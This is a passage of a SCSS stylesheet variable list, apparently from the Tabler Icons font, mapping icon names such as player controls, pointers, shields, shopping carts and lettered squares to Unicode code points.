unicode('f691');\n$ti-icon-player-record: unicode('ed47');\n$ti-icon-player-record-filled: unicode('f692');\n$ti-icon-player-skip-back: unicode('ed48');\n$ti-icon-player-skip-back-filled: unicode('f693');\n$ti-icon-player-skip-forward: unicode('ed49');\n$ti-icon-player-skip-forward-filled: unicode('f694');\n$ti-icon-player-stop: unicode('ed4a');\n$ti-icon-player-stop-filled: unicode('f695');\n$ti-icon-player-track-next: unicode('ed4b');\n$ti-icon-player-track-next-filled: unicode('f696');\n$ti-icon-player-track-prev: unicode('ed4c');\n$ti-icon-player-track-prev-filled: unicode('f697');\n$ti-icon-playlist: unicode('eec0');\n$ti-icon-playlist-add: unicode('f008');\n$ti-icon-playlist-off: unicode('f17f');\n$ti-icon-playlist-x: unicode('f009');\n$ti-icon-playstation-circle: unicode('f2ad');\n$ti-icon-playstation-square: unicode('f2ae');\n$ti-icon-playstation-triangle: unicode('f2af');\n$ti-icon-playstation-x: unicode('f2b0');\n$ti-icon-plug: unicode('ebd9');\n$ti-icon-plug-connected: unicode('f00a');\n$ti-icon-plug-connected-x: unicode('f0a0');\n$ti-icon-plug-off: unicode('f180');\n$ti-icon-plug-x: unicode('f0a1');\n$ti-icon-plus: unicode('eb0b');\n$ti-icon-plus-equal: unicode('f7ad');\n$ti-icon-plus-minus: unicode('f7ae');\n$ti-icon-png: unicode('f3ad');\n$ti-icon-podium: unicode('f1d8');\n$ti-icon-podium-off: unicode('f41b');\n$ti-icon-point: unicode('eb0c');\n$ti-icon-point-filled: unicode('f698');\n$ti-icon-point-off: unicode('f181');\n$ti-icon-pointer: unicode('f265');\n$ti-icon-pointer-bolt: unicode('f999');\n$ti-icon-pointer-cancel: unicode('f99a');\n$ti-icon-pointer-check: unicode('f99b');\n$ti-icon-pointer-code: unicode('f99c');\n$ti-icon-pointer-cog: unicode('f99d');\n$ti-icon-pointer-dollar: unicode('f99e');\n$ti-icon-pointer-down: unicode('f99f');\n$ti-icon-pointer-exclamation: unicode('f9a0');\n$ti-icon-pointer-filled: unicode('fb30');\n$ti-icon-pointer-heart: unicode('f9a1');\n$ti-icon-pointer-minus: unicode('f9a2');\n$ti-icon-pointer-off: unicode('f9a3');\n$ti-icon-pointer-pause: unicode('f9a4');\n$ti-icon-pointer-pin: unicode('f9a5');\n$ti-icon-pointer-plus: unicode('f9a6');\n$ti-icon-pointer-question: unicode('f9a7');\n$ti-icon-pointer-search: unicode('f9a8');\n$ti-icon-pointer-share: unicode('f9a9');\n$ti-icon-pointer-star: unicode('f9aa');\n$ti-icon-pointer-up: unicode('f9ab');\n$ti-icon-pointer-x: unicode('f9ac');\n$ti-icon-pokeball: unicode('eec1');\n$ti-icon-pokeball-off: unicode('f41c');\n$ti-icon-poker-chip: unicode('f515');\n$ti-icon-polaroid: unicode('eec2');\n$ti-icon-polaroid-filled: unicode('fa4b');\n$ti-icon-polygon: unicode('efd0');\n$ti-icon-polygon-off: unicode('f182');\n$ti-icon-poo: unicode('f258');\n$ti-icon-pool: unicode('ed91');\n$ti-icon-pool-off: unicode('f41d');\n$ti-icon-power: unicode('eb0d');\n$ti-icon-pray: unicode('ecbf');\n$ti-icon-premium-rights: unicode('efbd');\n$ti-icon-prescription: unicode('ef99');\n$ti-icon-presentation: unicode('eb70');\n$ti-icon-presentation-analytics: unicode('eec3');\n$ti-icon-presentation-off: unicode('f183');\n$ti-icon-printer: unicode('eb0e');\n$ti-icon-printer-off: unicode('f184');\n$ti-icon-prism: unicode('fab1');\n$ti-icon-prism-off: unicode('faaf');\n$ti-icon-prism-plus: unicode('fab0');\n$ti-icon-prison: unicode('ef79');\n$ti-icon-progress: unicode('fa0d');\n$ti-icon-progress-alert: unicode('fa07');\n$ti-icon-progress-bolt: unicode('fa08');\n$ti-icon-progress-check: unicode('fa09');\n$ti-icon-progress-down: unicode('fa0a');\n$ti-icon-progress-help: unicode('fa0b');\n$ti-icon-progress-x: unicode('fa0c');\n$ti-icon-prompt: unicode('eb0f');\n$ti-icon-prong: unicode('fda1');\n$ti-icon-propeller: unicode('eec4');\n$ti-icon-propeller-off: unicode('f185');\n$ti-icon-protocol: unicode('fd81');\n$ti-icon-pumpkin-scary: unicode('f587');\n$ti-icon-puzzle: unicode('eb10');\n$ti-icon-puzzle-2: unicode('ef83');\n$ti-icon-puzzle-filled: unicode('f699');\n$ti-icon-puzzle-off: unicode('f186');\n$ti-icon-pyramid: unicode('eec5');\n$ti-icon-pyramid-off: unicode('f187');\n$ti-icon-pyramid-plus: unicode('fab2');\n$ti-icon-qrcode: unicode('eb11');\n$ti-icon-qrcode-off: unicode('f41e');\n$ti-icon-question-mark: unicode('ec9d');\n$ti-icon-quote: unicode('efbe');\n$ti-icon-quote-off: unicode('f188');\n$ti-icon-quotes: unicode('fb1e');\n$ti-icon-radar: unicode('f017');\n$ti-icon-radar-2: unicode('f016');\n$ti-icon-radar-filled: unicode('fe0d');\n$ti-icon-radar-off: unicode('f41f');\n$ti-icon-radio: unicode('ef2d');\n$ti-icon-radio-off: unicode('f420');\n$ti-icon-radioactive: unicode('ecc0');\n$ti-icon-radioactive-filled: unicode('f760');\n$ti-icon-radioactive-off: unicode('f189');\n$ti-icon-radius-bottom-left: unicode('eec6');\n$ti-icon-radius-bottom-right: unicode('eec7');\n$ti-icon-radius-top-left: unicode('eec8');\n$ti-icon-radius-top-right: unicode('eec9');\n$ti-icon-rainbow: unicode('edbc');\n$ti-icon-rainbow-off: unicode('f18a');\n$ti-icon-rating-12-plus: unicode('f266');\n$ti-icon-rating-14-plus: unicode('f267');\n$ti-icon-rating-16-plus: unicode('f268');\n$ti-icon-rating-18-plus: unicode('f269');\n$ti-icon-rating-21-plus: unicode('f26a');\n$ti-icon-razor: unicode('f4b5');\n$ti-icon-razor-electric: unicode('f4b4');\n$ti-icon-receipt: unicode('edfd');\n$ti-icon-receipt-2: unicode('edfa');\n$ti-icon-receipt-bitcoin: unicode('fd66');\n$ti-icon-receipt-dollar: unicode('fd67');\n$ti-icon-receipt-euro: unicode('fd68');\n$ti-icon-receipt-off: unicode('edfb');\n$ti-icon-receipt-pound: unicode('fd69');\n$ti-icon-receipt-refund: unicode('edfc');\n$ti-icon-receipt-rupee: unicode('fd82');\n$ti-icon-receipt-tax: unicode('edbd');\n$ti-icon-receipt-yen: unicode('fd6a');\n$ti-icon-receipt-yuan: unicode('fd6b');\n$ti-icon-recharging: unicode('eeca');\n$ti-icon-record-mail: unicode('eb12');\n$ti-icon-record-mail-off: unicode('f18b');\n$ti-icon-rectangle: unicode('ed37');\n$ti-icon-rectangle-filled: unicode('f69a');\n$ti-icon-rectangle-rounded-bottom: unicode('faed');\n$ti-icon-rectangle-rounded-top: unicode('faee');\n$ti-icon-rectangle-vertical: unicode('ed36');\n$ti-icon-rectangle-vertical-filled: unicode('f69b');\n$ti-icon-rectangular-prism: unicode('fab5');\n$ti-icon-rectangular-prism-off: unicode('fab3');\n$ti-icon-rectangular-prism-plus: unicode('fab4');\n$ti-icon-recycle: unicode('eb9b');\n$ti-icon-recycle-off: unicode('f18c');\n$ti-icon-refresh: unicode('eb13');\n$ti-icon-refresh-alert: unicode('ed57');\n$ti-icon-refresh-dot: unicode('efbf');\n$ti-icon-refresh-off: unicode('f18d');\n$ti-icon-regex: unicode('f31f');\n$ti-icon-regex-off: unicode('f421');\n$ti-icon-registered: unicode('eb14');\n$ti-icon-relation-many-to-many: unicode('ed7f');\n$ti-icon-relation-many-to-many-filled: unicode('fe0c');\n$ti-icon-relation-one-to-many: unicode('ed80');\n$ti-icon-relation-one-to-many-filled: unicode('fe0b');\n$ti-icon-relation-one-to-one: unicode('ed81');\n$ti-icon-relation-one-to-one-filled: unicode('fe0a');\n$ti-icon-reload: unicode('f3ae');\n$ti-icon-reorder: unicode('fc15');\n$ti-icon-repeat: unicode('eb72');\n$ti-icon-repeat-off: unicode('f18e');\n$ti-icon-repeat-once: unicode('eb71');\n$ti-icon-replace: unicode('ebc7');\n$ti-icon-replace-filled: unicode('f69c');\n$ti-icon-replace-off: unicode('f422');\n$ti-icon-report: unicode('eece');\n$ti-icon-report-analytics: unicode('eecb');\n$ti-icon-report-medical: unicode('eecc');\n$ti-icon-report-money: unicode('eecd');\n$ti-icon-report-off: unicode('f18f');\n$ti-icon-report-search: unicode('ef84');\n$ti-icon-reserved-line: unicode('f9f6');\n$ti-icon-resize: unicode('eecf');\n$ti-icon-restore: unicode('fafd');\n$ti-icon-rewind-backward-10: unicode('faba');\n$ti-icon-rewind-backward-15: unicode('fabb');\n$ti-icon-rewind-backward-20: unicode('fabc');\n$ti-icon-rewind-backward-30: unicode('fabd');\n$ti-icon-rewind-backward-40: unicode('fabe');\n$ti-icon-rewind-backward-5: unicode('fabf');\n$ti-icon-rewind-backward-50: unicode('fac0');\n$ti-icon-rewind-backward-60: unicode('fac1');\n$ti-icon-rewind-forward-10: unicode('fac2');\n$ti-icon-rewind-forward-15: unicode('fac3');\n$ti-icon-rewind-forward-20: unicode('fac4');\n$ti-icon-rewind-forward-30: unicode('fac5');\n$ti-icon-rewind-forward-40: unicode('fac6');\n$ti-icon-rewind-forward-5: unicode('fac7');\n$ti-icon-rewind-forward-50: unicode('fac8');\n$ti-icon-rewind-forward-60: unicode('fac9');\n$ti-icon-ribbon-health: unicode('f58e');\n$ti-icon-rings: unicode('fa6a');\n$ti-icon-ripple: unicode('ed82');\n$ti-icon-ripple-off: unicode('f190');\n$ti-icon-road: unicode('f018');\n$ti-icon-road-off: unicode('f191');\n$ti-icon-road-sign: unicode('ecdd');\n$ti-icon-robot: unicode('f00b');\n$ti-icon-robot-face: unicode('fcbe');\n$ti-icon-robot-off: unicode('f192');\n$ti-icon-rocket: unicode('ec45');\n$ti-icon-rocket-off: unicode('f193');\n$ti-icon-roller-skating: unicode('efd1');\n$ti-icon-rollercoaster: unicode('f0a2');\n$ti-icon-rollercoaster-off: unicode('f423');\n$ti-icon-rosette: unicode('f599');\n$ti-icon-rosette-discount: unicode('ee7c');\n$ti-icon-rosette-discount-check: unicode('f1f8');\n$ti-icon-rosette-discount-check-filled: unicode('f746');\n$ti-icon-rosette-discount-off: unicode('f3e6');\n$ti-icon-rosette-filled: unicode('f69d');\n$ti-icon-rosette-number-0: unicode('f58f');\n$ti-icon-rosette-number-1: unicode('f590');\n$ti-icon-rosette-number-2: unicode('f591');\n$ti-icon-rosette-number-3: unicode('f592');\n$ti-icon-rosette-number-4: unicode('f593');\n$ti-icon-rosette-number-5: unicode('f594');\n$ti-icon-rosette-number-6: unicode('f595');\n$ti-icon-rosette-number-7: unicode('f596');\n$ti-icon-rosette-number-8: unicode('f597');\n$ti-icon-rosette-number-9: unicode('f598');\n$ti-icon-rotate: unicode('eb16');\n$ti-icon-rotate-2: unicode('ebb4');\n$ti-icon-rotate-360: unicode('ef85');\n$ti-icon-rotate-3d: unicode('f020');\n$ti-icon-rotate-clockwise: unicode('eb15');\n$ti-icon-rotate-clockwise-2: unicode('ebb5');\n$ti-icon-rotate-dot: unicode('efe5');\n$ti-icon-rotate-rectangle: unicode('ec15');\n$ti-icon-route: unicode('eb17');\n$ti-icon-route-2: unicode('f4b6');\n$ti-icon-route-alt-left: unicode('fca9');\n$ti-icon-route-alt-right: unicode('fcaa');\n$ti-icon-route-off: unicode('f194');\n$ti-icon-route-scan: unicode('fcbf');\n$ti-icon-route-square: unicode('fcac');\n$ti-icon-route-square-2: unicode('fcab');\n$ti-icon-route-x: unicode('fcae');\n$ti-icon-route-x-2: unicode('fcad');\n$ti-icon-router: unicode('eb18');\n$ti-icon-router-off: unicode('f424');\n$ti-icon-row-insert-bottom: unicode('eed0');\n$ti-icon-row-insert-top: unicode('eed1');\n$ti-icon-row-remove: unicode('fafe');\n$ti-icon-rss: unicode('eb19');\n$ti-icon-rubber-stamp: unicode('f5ab');\n$ti-icon-rubber-stamp-off: unicode('f5aa');\n$ti-icon-ruler: unicode('eb1a');\n$ti-icon-ruler-2: unicode('eed2');\n$ti-icon-ruler-2-off: unicode('f195');\n$ti-icon-ruler-3: unicode('f290');\n$ti-icon-ruler-measure: unicode('f291');\n$ti-icon-ruler-off: unicode('f196');\n$ti-icon-run: unicode('ec82');\n$ti-icon-rv-truck: unicode('fcc0');\n$ti-icon-s-turn-down: unicode('f516');\n$ti-icon-s-turn-left: unicode('f517');\n$ti-icon-s-turn-right: unicode('f518');\n$ti-icon-s-turn-up: unicode('f519');\n$ti-icon-sailboat: unicode('ec83');\n$ti-icon-sailboat-2: unicode('f5f7');\n$ti-icon-sailboat-off: unicode('f425');\n$ti-icon-salad: unicode('f50a');\n$ti-icon-salt: unicode('ef16');\n$ti-icon-sandbox: unicode('fd6c');\n$ti-icon-satellite: unicode('eed3');\n$ti-icon-satellite-off: unicode('f197');\n$ti-icon-sausage: unicode('ef17');\n$ti-icon-scale: unicode('ebc2');\n$ti-icon-scale-off: unicode('f198');\n$ti-icon-scale-outline: unicode('ef53');\n$ti-icon-scale-outline-off: unicode('f199');\n$ti-icon-scan: unicode('ebc8');\n$ti-icon-scan-eye: unicode('f1ff');\n$ti-icon-scan-position: unicode('fdac');\n$ti-icon-schema: unicode('f200');\n$ti-icon-schema-off: unicode('f426');\n$ti-icon-school: unicode('ecf7');\n$ti-icon-school-bell: unicode('f64a');\n$ti-icon-school-off: unicode('f19a');\n$ti-icon-scissors: unicode('eb1b');\n$ti-icon-scissors-off: unicode('f19b');\n$ti-icon-scooter: unicode('ec6c');\n$ti-icon-scooter-electric: unicode('ecc1');\n$ti-icon-scoreboard: unicode('fa6b');\n$ti-icon-screen-share: unicode('ed18');\n$ti-icon-screen-share-off: unicode('ed17');\n$ti-icon-screenshot: unicode('f201');\n$ti-icon-scribble: unicode('f0a3');\n$ti-icon-scribble-off: unicode('f427');\n$ti-icon-script: unicode('f2da');\n$ti-icon-script-minus: unicode('f2d7');\n$ti-icon-script-plus: unicode('f2d8');\n$ti-icon-script-x: unicode('f2d9');\n$ti-icon-scuba-diving: unicode('fd4e');\n$ti-icon-scuba-mask: unicode('eed4');\n$ti-icon-scuba-mask-off: unicode('f428');\n$ti-icon-sdk: unicode('f3af');\n$ti-icon-search: unicode('eb1c');\n$ti-icon-search-off: unicode('f19c');\n$ti-icon-section: unicode('eed5');\n$ti-icon-section-filled: unicode('fe09');\n$ti-icon-section-sign: unicode('f019');\n$ti-icon-seeding: unicode('ed51');\n$ti-icon-seeding-off: unicode('f19d');\n$ti-icon-select: unicode('ec9e');\n$ti-icon-select-all: unicode('f9f7');\n$ti-icon-selector: unicode('eb1d');\n$ti-icon-send: unicode('eb1e');\n$ti-icon-send-2: unicode('fd5d');\n$ti-icon-send-off: unicode('f429');\n$ti-icon-seo: unicode('f26b');\n$ti-icon-separator: unicode('ebda');\n$ti-icon-separator-horizontal: unicode('ec79');\n$ti-icon-separator-vertical: unicode('ec7a');\n$ti-icon-server: unicode('eb1f');\n$ti-icon-server-2: unicode('f07c');\n$ti-icon-server-bolt: unicode('f320');\n$ti-icon-server-cog: unicode('f321');\n$ti-icon-server-off: unicode('f19e');\n$ti-icon-servicemark: unicode('ec09');\n$ti-icon-settings: unicode('eb20');\n$ti-icon-settings-2: unicode('f5ac');\n$ti-icon-settings-automation: unicode('eed6');\n$ti-icon-settings-bolt: unicode('f9ad');\n$ti-icon-settings-cancel: unicode('f9ae');\n$ti-icon-settings-check: unicode('f9af');\n$ti-icon-settings-code: unicode('f9b0');\n$ti-icon-settings-cog: unicode('f9b1');\n$ti-icon-settings-dollar: unicode('f9b2');\n$ti-icon-settings-down: unicode('f9b3');\n$ti-icon-settings-exclamation: unicode('f9b4');\n$ti-icon-settings-filled: unicode('f69e');\n$ti-icon-settings-heart: unicode('f9b5');\n$ti-icon-settings-minus: unicode('f9b6');\n$ti-icon-settings-off: unicode('f19f');\n$ti-icon-settings-pause: unicode('f9b7');\n$ti-icon-settings-pin: unicode('f9b8');\n$ti-icon-settings-plus: unicode('f9b9');\n$ti-icon-settings-question: unicode('f9ba');\n$ti-icon-settings-search: unicode('f9bb');\n$ti-icon-settings-share: unicode('f9bc');\n$ti-icon-settings-star: unicode('f9bd');\n$ti-icon-settings-up: unicode('f9be');\n$ti-icon-settings-x: unicode('f9bf');\n$ti-icon-shadow: unicode('eed8');\n$ti-icon-shadow-off: unicode('eed7');\n$ti-icon-shape: unicode('eb9c');\n$ti-icon-shape-2: unicode('eed9');\n$ti-icon-shape-3: unicode('eeda');\n$ti-icon-shape-off: unicode('f1a0');\n$ti-icon-share: unicode('eb21');\n$ti-icon-share-2: unicode('f799');\n$ti-icon-share-3: unicode('f7bd');\n$ti-icon-share-off: unicode('f1a1');\n$ti-icon-shield: unicode('eb24');\n$ti-icon-shield-bolt: unicode('f9c0');\n$ti-icon-shield-cancel: unicode('f9c1');\n$ti-icon-shield-check: unicode('eb22');\n$ti-icon-shield-check-filled: unicode('f761');\n$ti-icon-shield-checkered: unicode('ef9a');\n$ti-icon-shield-checkered-filled: unicode('f762');\n$ti-icon-shield-chevron: unicode('ef9b');\n$ti-icon-shield-code: unicode('f9c2');\n$ti-icon-shield-cog: unicode('f9c3');\n$ti-icon-shield-dollar: unicode('f9c4');\n$ti-icon-shield-down: unicode('f9c5');\n$ti-icon-shield-exclamation: unicode('f9c6');\n$ti-icon-shield-filled: unicode('f69f');\n$ti-icon-shield-half: unicode('f358');\n$ti-icon-shield-half-filled: unicode('f357');\n$ti-icon-shield-heart: unicode('f9c7');\n$ti-icon-shield-lock: unicode('ed58');\n$ti-icon-shield-lock-filled: unicode('f763');\n$ti-icon-shield-minus: unicode('f9c8');\n$ti-icon-shield-off: unicode('ecf8');\n$ti-icon-shield-pause: unicode('f9c9');\n$ti-icon-shield-pin: unicode('f9ca');\n$ti-icon-shield-plus: unicode('f9cb');\n$ti-icon-shield-question: unicode('f9cc');\n$ti-icon-shield-search: unicode('f9cd');\n$ti-icon-shield-share: unicode('f9ce');\n$ti-icon-shield-star: unicode('f9cf');\n$ti-icon-shield-up: unicode('f9d0');\n$ti-icon-shield-x: unicode('eb23');\n$ti-icon-ship: unicode('ec84');\n$ti-icon-ship-off: unicode('f42a');\n$ti-icon-shirt: unicode('ec0a');\n$ti-icon-shirt-filled: unicode('f6a0');\n$ti-icon-shirt-off: unicode('f1a2');\n$ti-icon-shirt-sport: unicode('f26c');\n$ti-icon-shoe: unicode('efd2');\n$ti-icon-shoe-off: unicode('f1a4');\n$ti-icon-shopping-bag: unicode('f5f8');\n$ti-icon-shopping-bag-check: unicode('fc16');\n$ti-icon-shopping-bag-discount: unicode('fc17');\n$ti-icon-shopping-bag-edit: unicode('fc18');\n$ti-icon-shopping-bag-exclamation: unicode('fc19');\n$ti-icon-shopping-bag-heart: unicode('fda2');\n$ti-icon-shopping-bag-minus: unicode('fc1a');\n$ti-icon-shopping-bag-plus: unicode('fc1b');\n$ti-icon-shopping-bag-search: unicode('fc1c');\n$ti-icon-shopping-bag-x: unicode('fc1d');\n$ti-icon-shopping-cart: unicode('eb25');\n$ti-icon-shopping-cart-bolt: unicode('fb57');\n$ti-icon-shopping-cart-cancel: unicode('fb58');\n$ti-icon-shopping-cart-check: unicode('fb59');\n$ti-icon-shopping-cart-code: unicode('fb5a');\n$ti-icon-shopping-cart-cog: unicode('fb5b');\n$ti-icon-shopping-cart-copy: unicode('fb5c');\n$ti-icon-shopping-cart-discount: unicode('fb5d');\n$ti-icon-shopping-cart-dollar: unicode('fb5e');\n$ti-icon-shopping-cart-down: unicode('fb5f');\n$ti-icon-shopping-cart-exclamation: unicode('fb60');\n$ti-icon-shopping-cart-filled: unicode('fc3f');\n$ti-icon-shopping-cart-heart: unicode('fb61');\n$ti-icon-shopping-cart-minus: unicode('fb62');\n$ti-icon-shopping-cart-off: unicode('eedc');\n$ti-icon-shopping-cart-pause: unicode('fb63');\n$ti-icon-shopping-cart-pin: unicode('fb64');\n$ti-icon-shopping-cart-plus: unicode('fb65');\n$ti-icon-shopping-cart-question: unicode('fb66');\n$ti-icon-shopping-cart-search: unicode('fb67');\n$ti-icon-shopping-cart-share: unicode('fb68');\n$ti-icon-shopping-cart-star: unicode('fb69');\n$ti-icon-shopping-cart-up: unicode('fb6a');\n$ti-icon-shopping-cart-x: unicode('fb6b');\n$ti-icon-shovel: unicode('f1d9');\n$ti-icon-shovel-pitchforks: unicode('fd3a');\n$ti-icon-shredder: unicode('eedf');\n$ti-icon-sign-left: unicode('f06b');\n$ti-icon-sign-left-filled: unicode('f6a1');\n$ti-icon-sign-right: unicode('f06c');\n$ti-icon-sign-right-filled: unicode('f6a2');\n$ti-icon-signal-2g: unicode('f79a');\n$ti-icon-signal-3g: unicode('f1ee');\n$ti-icon-signal-4g: unicode('f1ef');\n$ti-icon-signal-4g-plus: unicode('f259');\n$ti-icon-signal-5g: unicode('f1f0');\n$ti-icon-signal-6g: unicode('f9f8');\n$ti-icon-signal-e: unicode('f9f9');\n$ti-icon-signal-g: unicode('f9fa');\n$ti-icon-signal-h: unicode('f9fc');\n$ti-icon-signal-h-plus: unicode('f9fb');\n$ti-icon-signal-lte: unicode('f9fd');\n$ti-icon-signature: unicode('eee0');\n$ti-icon-signature-off: unicode('f1a5');\n$ti-icon-sitemap: unicode('eb9d');\n$ti-icon-sitemap-off: unicode('f1a6');\n$ti-icon-skateboard: unicode('ecc2');\n$ti-icon-skateboard-off: unicode('f42b');\n$ti-icon-skateboarding: unicode('faca');\n$ti-icon-skew-x: unicode('fd3b');\n$ti-icon-skew-y: unicode('fd3c');\n$ti-icon-ski-jumping: unicode('fa6c');\n$ti-icon-skull: unicode('f292');\n$ti-icon-slash: unicode('f4f9');\n$ti-icon-slashes: unicode('f588');\n$ti-icon-sleigh: unicode('ef9c');\n$ti-icon-slice: unicode('ebdb');\n$ti-icon-slideshow: unicode('ebc9');\n$ti-icon-smart-home: unicode('ecde');\n$ti-icon-smart-home-off: unicode('f1a7');\n$ti-icon-smoking: unicode('ecc4');\n$ti-icon-smoking-no: unicode('ecc3');\n$ti-icon-snowboarding: unicode('fd4f');\n$ti-icon-snowflake: unicode('ec0b');\n$ti-icon-snowflake-off: unicode('f1a8');\n$ti-icon-snowman: unicode('f26d');\n$ti-icon-soccer-field: unicode('ed92');\n$ti-icon-social: unicode('ebec');\n$ti-icon-social-off: unicode('f1a9');\n$ti-icon-sock: unicode('eee1');\n$ti-icon-sofa: unicode('efaf');\n$ti-icon-sofa-off: unicode('f42c');\n$ti-icon-solar-electricity: unicode('fcc1');\n$ti-icon-solar-panel: unicode('f7bf');\n$ti-icon-solar-panel-2: unicode('f7be');\n$ti-icon-sort-0-9: unicode('f54d');\n$ti-icon-sort-9-0: unicode('f54e');\n$ti-icon-sort-a-z: unicode('f54f');\n$ti-icon-sort-ascending: unicode('eb26');\n$ti-icon-sort-ascending-2: unicode('eee2');\n$ti-icon-sort-ascending-letters: unicode('ef18');\n$ti-icon-sort-ascending-numbers: unicode('ef19');\n$ti-icon-sort-ascending-shapes: unicode('fd94');\n$ti-icon-sort-ascending-small-big: unicode('fd95');\n$ti-icon-sort-descending: unicode('eb27');\n$ti-icon-sort-descending-2: unicode('eee3');\n$ti-icon-sort-descending-letters: unicode('ef1a');\n$ti-icon-sort-descending-numbers: unicode('ef1b');\n$ti-icon-sort-descending-shapes: unicode('fd97');\n$ti-icon-sort-descending-small-big: unicode('fd96');\n$ti-icon-sort-z-a: unicode('f550');\n$ti-icon-sos: unicode('f24a');\n$ti-icon-soup: unicode('ef2e');\n$ti-icon-soup-filled: unicode('fe08');\n$ti-icon-soup-off: unicode('f42d');\n$ti-icon-source-code: unicode('f4a2');\n$ti-icon-space: unicode('ec0c');\n$ti-icon-space-off: unicode('f1aa');\n$ti-icon-spacing-horizontal: unicode('ef54');\n$ti-icon-spacing-vertical: unicode('ef55');\n$ti-icon-spade: unicode('effa');\n$ti-icon-spade-filled: unicode('f6a3');\n$ti-icon-sparkles: unicode('f6d7');\n$ti-icon-speakerphone: unicode('ed61');\n$ti-icon-speedboat: unicode('ed93');\n$ti-icon-sphere: unicode('fab8');\n$ti-icon-sphere-off: unicode('fab6');\n$ti-icon-sphere-plus: unicode('fab7');\n$ti-icon-spider: unicode('f293');\n$ti-icon-spiral: unicode('f294');\n$ti-icon-spiral-off: unicode('f42e');\n$ti-icon-sport-billard: unicode('eee4');\n$ti-icon-spray: unicode('f50b');\n$ti-icon-spy: unicode('f227');\n$ti-icon-spy-off: unicode('f42f');\n$ti-icon-sql: unicode('f7c0');\n$ti-icon-square: unicode('eb2c');\n$ti-icon-square-arrow-down: unicode('f4b7');\n$ti-icon-square-arrow-down-filled: unicode('fb31');\n$ti-icon-square-arrow-left: unicode('f4b8');\n$ti-icon-square-arrow-left-filled: unicode('fb32');\n$ti-icon-square-arrow-right: unicode('f4b9');\n$ti-icon-square-arrow-right-filled: unicode('fb33');\n$ti-icon-square-arrow-up: unicode('f4ba');\n$ti-icon-square-arrow-up-filled: unicode('fb34');\n$ti-icon-square-asterisk: unicode('f01a');\n$ti-icon-square-asterisk-filled: unicode('fb35');\n$ti-icon-square-check: unicode('eb28');\n$ti-icon-square-check-filled: unicode('f76d');\n$ti-icon-square-chevron-down: unicode('f627');\n$ti-icon-square-chevron-down-filled: unicode('fb36');\n$ti-icon-square-chevron-left: unicode('f628');\n$ti-icon-square-chevron-left-filled: unicode('fb37');\n$ti-icon-square-chevron-right: unicode('f629');\n$ti-icon-square-chevron-right-filled: unicode('fb38');\n$ti-icon-square-chevron-up: unicode('f62a');\n$ti-icon-square-chevron-up-filled: unicode('fb39');\n$ti-icon-square-chevrons-down: unicode('f64b');\n$ti-icon-square-chevrons-down-filled: unicode('fb3a');\n$ti-icon-square-chevrons-left: unicode('f64c');\n$ti-icon-square-chevrons-left-filled: unicode('fb3b');\n$ti-icon-square-chevrons-right: unicode('f64d');\n$ti-icon-square-chevrons-right-filled: unicode('fb3c');\n$ti-icon-square-chevrons-up: unicode('f64e');\n$ti-icon-square-chevrons-up-filled: unicode('fb3d');\n$ti-icon-square-dot: unicode('ed59');\n$ti-icon-square-dot-filled: unicode('fb3e');\n$ti-icon-square-f0: unicode('f526');\n$ti-icon-square-f0-filled: unicode('f76e');\n$ti-icon-square-f1: unicode('f527');\n$ti-icon-square-f1-filled: unicode('f76f');\n$ti-icon-square-f2: unicode('f528');\n$ti-icon-square-f2-filled: unicode('f770');\n$ti-icon-square-f3: unicode('f529');\n$ti-icon-square-f3-filled: unicode('f771');\n$ti-icon-square-f4: unicode('f52a');\n$ti-icon-square-f4-filled: unicode('f772');\n$ti-icon-square-f5: unicode('f52b');\n$ti-icon-square-f5-filled: unicode('f773');\n$ti-icon-square-f6: unicode('f52c');\n$ti-icon-square-f6-filled: unicode('f774');\n$ti-icon-square-f7: unicode('f52d');\n$ti-icon-square-f7-filled: unicode('f775');\n$ti-icon-square-f8: unicode('f52e');\n$ti-icon-square-f8-filled: unicode('f776');\n$ti-icon-square-f9: unicode('f52f');\n$ti-icon-square-f9-filled: unicode('f777');\n$ti-icon-square-filled: unicode('fc40');\n$ti-icon-square-forbid: unicode('ed5b');\n$ti-icon-square-forbid-2: unicode('ed5a');\n$ti-icon-square-half: unicode('effb');\n$ti-icon-square-key: unicode('f638');\n$ti-icon-square-letter-a: unicode('f47c');\n$ti-icon-square-letter-a-filled: unicode('fe07');\n$ti-icon-square-letter-b: unicode('f47d');\n$ti-icon-square-letter-b-filled: unicode('fe06');\n$ti-icon-square-letter-c: unicode('f47e');\n$ti-icon-square-letter-c-filled: unicode('fe05');\n$ti-icon-square-letter-d: unicode('f47f');\n$ti-icon-square-letter-d-filled: unicode('fe04');\n$ti-icon-square-letter-e: unicode('f480');\n$ti-icon-square-letter-e-filled: unicode('fe03');\n$ti-icon-square-letter-f: unicode('f481');\n$ti-icon-square-letter-f-filled: unicode('fe02');\n$ti-icon-square-letter-g: unicode('f482');\n$ti-icon-square-letter-g-filled: unicode('fe01');\n$ti-icon-square-letter-h: unicode('f483');\n$ti-icon-square-letter-h-filled: unicode('fe00');\n$ti-icon-square-letter-i: unicode('f484');\n$ti-icon-square-letter-i-filled: unicode('fdff');\n$ti-icon-square-letter-j: unicode('f485');\n$ti-icon-square-letter-j-filled: unicode('fdfe');\n$ti-icon-square-letter-k: unicode('f486');\n$ti-icon-square-letter-k-filled: unicode('fdfd');\n$ti-icon-square-letter-l: unicode('f487');\n$ti-icon-square-letter-l-filled: unicode('fdfc');\n$ti-icon-square-letter-m: unicode('f488');\n$ti-icon-square-letter-m-filled: unicode('fdfb');\n$ti-icon-square-letter-n: unicode('f489');\n$ti-icon-square-letter-n-filled: unicode('fdfa');\n$ti-icon-square-letter-o: unicode('f48a');\n$ti-icon-square-letter-o-filled: unicode('fdf9');\n$ti-icon-square-letter-p: unicode('f48b');\n$ti-icon-square-letter-p-filled: unicode('fdf8');\n$ti-icon-square-letter-q: unicode('f48c');\n$ti-icon-square-letter-q-filled: unicode('fdf7');\n$ti-icon-square-letter-r: unicode('f48d');\n$ti-icon-square-letter-r-filled: unicode('fdf6');\n$ti-icon-square-letter-s: unicode('f48e');\n$ti-icon-square-letter-s-filled: unicode('fdf5');\n$ti-icon-square-letter-t: unicode('f48f');\n$ti-icon-square-letter-t-filled: unicode('fdf4');\n$ti-icon-square-letter-u: unicode('f490');\n$ti-icon-square-letter-u-filled: unicode('fdf3');\n$ti-icon-square-letter-v: unicode('f4bb');\n$ti-icon-square-letter-v-filled: unicode('fdf2');\n$ti-icon-square-letter-w: unicode('f491');\n$ti-icon-square-letter-w-filled: unicode('fdf1');\n$ti-icon-square-letter-x: unicode('f4bc');\n$ti-icon-square-letter-x-filled: unicode('fdf0');\n$ti-icon-square-letter-y: unicode('f492');\n$ti-icon-square-letter-y-filled: 